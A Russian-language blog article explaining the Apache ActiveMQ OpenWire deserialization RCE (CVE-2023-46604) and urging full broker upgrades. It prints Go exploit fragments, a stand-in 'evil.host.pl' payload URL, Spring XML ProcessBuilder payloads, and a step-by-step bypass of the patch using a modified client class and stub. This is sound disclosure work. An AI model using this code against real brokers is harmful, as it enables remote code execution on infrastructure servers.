Пожалуйста обновите ActiveMQ после прочтения этой статьи. Рассказ об одной известной атаке на инфраструктуру крупных ИТ-проектов — брокер сообщений Apache ActiveMQ.

Ад как он есть
В этой истории прекрасно абсолютно все — сама уязвимость, процесс ее закрытия и реакция окружающих в виде тотального забивания на проблему. Лишний повод убедиться насколько много серьезных проблем в современном ПО.
Для начала опишу кратко что случилось:
Недавно (три года назад) исследователи предупредили, что более 3000 тысяч серверов Apache ActiveMQ, доступных через интернет, уязвимы перед свежей критической RCE-уязвимостью (CVE-2023-46604). В настоящее время баг уже подвергается атакам. Например, эксплуатировать проблему пытаются операторы шифровальщика HelloKitty.
Уязвимость CVE-2023-46604, получила статус критической и оценивается в 10 баллов из 10 возможных по шкале CVSS. Баг позволяет злоумышленникам выполнять произвольные шелл-команды, используя сериализованные типы классов в протоколе OpenWire.
Масштаб такой что успели наделать даже видеороликов c демонстрацией этой атаки:
Еще одна демонстрация:
Казалось бы уязвимость уже достаточно старая, информация о ней появилась еще в конце октября 2023 года, но (как обычно) есть нюанс.
Очереди сообщений
Чтобы функционировал город обязательно нужны дороги, чтобы функционировал большой распределенный проект нужны очереди сообщений.
Очереди сообщений это такие транспортные артерии в больших проектах, а сам брокер очередей является инфраструктурным объектом капитального строительства, по аналогии с мостом или дорожной развязкой.
Также как и физические постройки, обновлять инфраструктурные части большого проекта непросто, какой-то единой методики миграции для брокеров сообщений не существует в природе и что произойдет после обновления никто заранее предсказать не может.
Для примера автор лично наблюдал такую замечательную вещь как массовые «ошибки сериализации/десериализации» после обновления, из-за которых данные в очередях приходилось удалять вручную.
Поэтому чаще всего брокер сообщений вообще не обновляется после установки и эксплуатируется до тех пор пока вообще может функционировать.
Также ввиду серьезной нагрузки, брокер сообщений обычно работает на голом железе, без слоев виртуализации и «песочниц».
Что как вы наверное догадываетесь делает их заманчивой целью как для майнеров (серверное железо обычно имеет мощности с запасом), так и любителей реверс-шеллов, поскольку они получают доступ к полноценному окружению, а не к огрызку внутри изолированной среды вроде jails, zones или docker.
И вот уже третий год в открытом доступе находятся вполне работающие эксплоиты для удаленного выполнения команд на одном из самых популярных брокеров сообщений:
Apache ActiveMQ® is the most popular open source, multi-protocol, Java-based message broker. It supports industry standard protocols so users get the benefits of client choices across a broad range of languages and platforms. Connect from clients written in JavaScript, C, C++, Python, .Net, and more. Integrate your multi-platform applications using the ubiquitous AMQP protocol. Exchange messages between your web applications using STOMP over websockets. Manage your IoT devices using MQTT. Support your existing JMS infrastructure and beyond. ActiveMQ offers the power and flexibility to support any messaging use-case.
В этот раз описание на сайте не врет и этот проект действительно очень и очень популярен.

Как это работает
Существует несколько полных разборов этой уязвимости, но самая лучшая — внезапно на китайском (пришлось использовать автоматический перевод).
Также cуществует и более продвинутая реализация, со своими недостатками, которая была создана для обхода правил IDS‑систем, в базы которых оперативно добавили сигнатуры вызова оригинального эксплоита — настолько эта зараза успела распространиться.
Ниже будет краткий пересказ механизма работы.
Как уже было отмечено выше, брокер отвечает за очереди сообщений, в которые обычно с одной стороны происходит последовательная запись, а с другой стороны — последовательная вычитка этих самых сообщений.
Главное что дает брокер с такими очередями это гарантия доставки сообщения, что при любых сбоях и разрывах связи сообщение рано или поздно доберется до получателя. Либо устареет и будет автоматически отправлено в специальный отстойник (DLQ).
Функционально разумеется внутри есть еще много чего:
гарантии уникальности, маршрутизация сообщений, разные форматы этих самых сообщений (вплоть до гигабайтных бинарных файлов), топики с «publish‑subscriber» схемой и так далее — стоит глянуть спецификацию JMS, если вдруг интересна данная тема.
Но сейчас остановимся на самом простом и базовом — на самих очередях.
Брокер сообщений это сетевой сервер, взаимодействие с клиентами происходят по протоколу TCP/IP, выше которого находится объектный протокол со структурами пользовательских данных.
Протоколов взаимодействия на самом деле несколько, но сейчас остановимся на TCP/IP и объектном OpenWire.
Клиент формирует сообщение в специальном формате и отправляет на сервер через обычные сокеты и TCP/IP.
Фрагмент кода эксплоита на Go, отвечающего за передачу:
.. if useTLS { conf := &tls.Config{ InsecureSkipVerify: true, } conn, err = tls.Dial("tcp", ip+":"+port, conf) } else { conn, err = net.Dial("tcp", ip+":"+port) } ..
А сам пакет формируется самой банальной строкой :
.. className := "org.springframework.context.support.ClassPathXmlApplicationContext" message := url header := "1f00000000000000000001" body := header + "01" + int2Hex(len(className), 4) + string2Hex(className) + "01" + int2Hex(len(message), 4) + string2Hex(message) payload := int2Hex(len(body)/2, 8) + body data, _ := hex.DecodeString(payload) ..
Вызов эксплоита запустит выполнение кода на стороне сервера с ActiveMQ.
Уязвимость
Эксплоит формирует специальное сообщение об ошибке таким образом чтобы при десериализации его содержимого произошел вызов инициализации Spring Framework с динамической конфигурацией.
На стороне сервера должна произойти десериализация вот такого объекта:
Object obj = new ClassPathXmlApplicationContext("https://evil.host.pl/poc.xml"); ExceptionResponse response = new ExceptionResponse(obj);
В результате чего произойдет обращение к удаленному серверу где расположен XML-файл с динамической конфигурацией Spring:
<?xml version="1.0" encoding="UTF-8" ?> <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> <bean id="pb" class="java.lang.ProcessBuilder" init-method="start"> <constructor-arg > <list> <value>open</value> <value>-a</value> <value>calculator</value> </list> </constructor-arg> </bean>
Как вы могли догадаться, все происходящее — обратная сторона универсальности и подобная десериализация «в слепую» встречается в менее известных проектах повсеместно.
Исправление
Разумеется достаточно быстро дыру закрыли, но таким способом что это скорее фиговый листок для прикрытия срама чем полноценное решение:

Вот так выглядит сам код проверки:
public class OpenWireUtil { /** * Verify that the provided class extends {@link Throwable} and throw an * {@link IllegalArgumentException} if it does not. * * @param clazz */ public static void validateIsThrowable(Class<?> clazz) { if (!Throwable.class.isAssignableFrom(clazz)) { throw new IllegalArgumentException("Class " + clazz + " is not assignable to Throwable"); } } }
Как видите единственная защита от удаленного выполнения произвольного кода — факт наследования вложенного класса от java.lang.Throwable
, причем проверка происходит только в одном этом месте.
Если вам еще не очевидно насколько это плохо, то вот тут автор уже описывал как легко и просто обходятся подобные проверки.
Реальное использование
Теперь рассказываю как подобные проблемы разработчики «заметают под ковер» в реальных проектах.
Напоминаю, что обновлять развернутые и уже работающие брокеры сообщений в крупном проекте — сложно, зато изолировать сетевой доступ к брокеру и обновить клиентскую сторону — достаточно просто и предсказуемо.
Что и было проделано на одном из проектов нашего заказчика.
Клиент ActiveMQ был обновлен аж до 6.0.1, которая разумеется считается неуязвимой для подобных атак и вообще всячески рекомендованной. Сетевой доступ к брокеру был изолирован и остался только непосредственно с тех серверов, которые с ним взаимодействуют для работы.
Казалось бы все — проблема решена и злые хакеры никогда не доберутся до уязвимой задницы брокера сообщений.
Увы но нет, как много раз повторялось: безопасность либо есть либо ее нет. Никаких «уровней» безопасности не существует, как бы вам не хотелось обратного.
Ниже покажу как легко и просто, без всяких левых эксплоитов повторить выполнение кода, используя лишь стандартную и обновленную клиентскую библиотеку ActiveMQ, которая считается неуязвимой.
Вот так выглядит pom.xml и используемые библиотеки:
<?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0</modelVersion> <groupId>org.example</groupId> <artifactId>activemqtest</artifactId> <version>1.0-SNAPSHOT</version> <properties> <maven.compiler.source>20</maven.compiler.source> <maven.compiler.target>20</maven.compiler.target> <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding> </properties> <dependencies> <dependency> <groupId>org.apache.activemq</groupId> <artifactId>activemq-client</artifactId> <version>6.0.1</version> </dependency> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-api</artifactId> <version>2.23.0</version> </dependency> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-core</artifactId> <version>2.23.0</version> </dependency> </dependencies> </project>
Полностью стандартный код отправки сообщения в очередь выглядит так:
package org.example; import jakarta.jms.*; import org.apache.activemq.ActiveMQConnectionFactory; public class Main { public static void main(String[] args) throws Exception{ ConnectionFactory connectionFactory = new ActiveMQConnectionFactory("tcp://localhost:61616"); Connection connection = connectionFactory.createConnection(); connection.start(); Session session = connection.createSession(); Destination destination = session.createQueue("tempQueue"); MessageProducer producer = session.createProducer(destination); Message message = session.createObjectMessage("123"); producer.send(message); connection.close(); } }
А дальше начинаются чудеса и магия.
Для начала нужно переопределить класс:
org.apache.activemq.transport.tcp.TcpTransport
взяв исходник нужной версии например с Github проекта ActiveMQ и добавить его в тестовый клиентский проект.
В этом классе необходимо изменить метод:
public void oneway(Object command)
указав следующее содержимое:
.. /** * A one way asynchronous send */ @Override public void oneway(Object command) throws IOException { this.checkStarted(); Throwable obj = new ClassPathXmlApplicationContext("http://127.0.0.1:8080/poc.xml"); ExceptionResponse response = new ExceptionResponse(obj); this.wireFormat.marshal(response, this.dataOut); this.dataOut.flush(); } ..
Этим действием клиент ActiveMQ будет формировать специальное сообщение с ошибкой, десериализация которого и является триггером для удаленного выполнения кода уже на сервере.
Обратите внимание на дичь:
Throwable obj = new ClassPathXmlApplicationContext()
Конечно же стандартная версия класса ClassPathXmlApplicationContext
которая является частью Spring Framework — не наследуется от класса ошибки java.lang.Throwable
.
Поэтому нужно создать класс-заглушку с полностью совпадающим именем класса:
org.springframework.context.support.ClassPathXmlApplicationContext
и таким содержимым:
package org.springframework.context.support; public class ClassPathXmlApplicationContext extends Throwable{ private String message; public ClassPathXmlApplicationContext(String message) { this.message = message; } @Override public String getMessage() { return message; } }
Это нужно для обхода локальной проверки OpenWireUtil.validateIsThrowable()
описанной выше.
После отправки сообщения сформированного таким нестандартным образом из новой и «неуязвимой» версии клиента ActiveMQ, на удаленном сервере, со старой версией ActiveMQ произойдет выполнение кода.
Эпилог
Компьютерная безопасность это внезапно сложно, сложнее чем просто разработка.
Не стоит к ней подходить формально, считая что раз вы установили патч обновления то тем самым гарантированно решили проблему.
В данном случае удалось «поймать за руку», пресечь и заставить все же полностью обновить брокеры сообщений, невзирая на все уверения что «все безопасно и надежно», хотя и пришлось для этого провести демонстрацию с использованием «безопасной» версии клиента ActiveMQ.
Как вы понимаете, подобное получается далеко не всегда и определить настоящее положение дел с безопасностью не так просто, поэтому если вам нужна помощь с оценкой безопасности вашего проекта и поиском уязвимостей — пишите, постараемся помочь.
P.S.
Вот так выглядит poc.xml
для запуска сообщения на скриншоте в заголовке статьи:
<?xml version="1.0" encoding="UTF-8" ?> <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation=" http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> <bean id="pb" class="java.lang.ProcessBuilder" init-method="start"> <constructor-arg > <list> <value>kdialog</value> <value>--msgbox</value> <value>Проснись Нео, тебя поимели</value> </list> </constructor-arg> </bean> </beans>
Как видите отлично работает даже с локализованным текстом.
Эта обновленная версия прошлогодней статьи, оригинал которой доступен в нашем блоге, никогда бы не появилась на Хабре если бы не печальный факт:
описанное оказалось актуально и на 2025й год, было повторено и продемонстрировано на реальном проекте.
Поэтому повторяю: пожалуйста обновите ActiveMQ если вы его используете и обновите целиком а не только клиентскую часть.
Описанная уязвимость — запредельно критическая и запросто позволит забраться на инфраструктурный сервер, со всеми последствиями.
ссылка на оригинал статьи https://habr.com/ru/articles/892450/
Добавить комментарий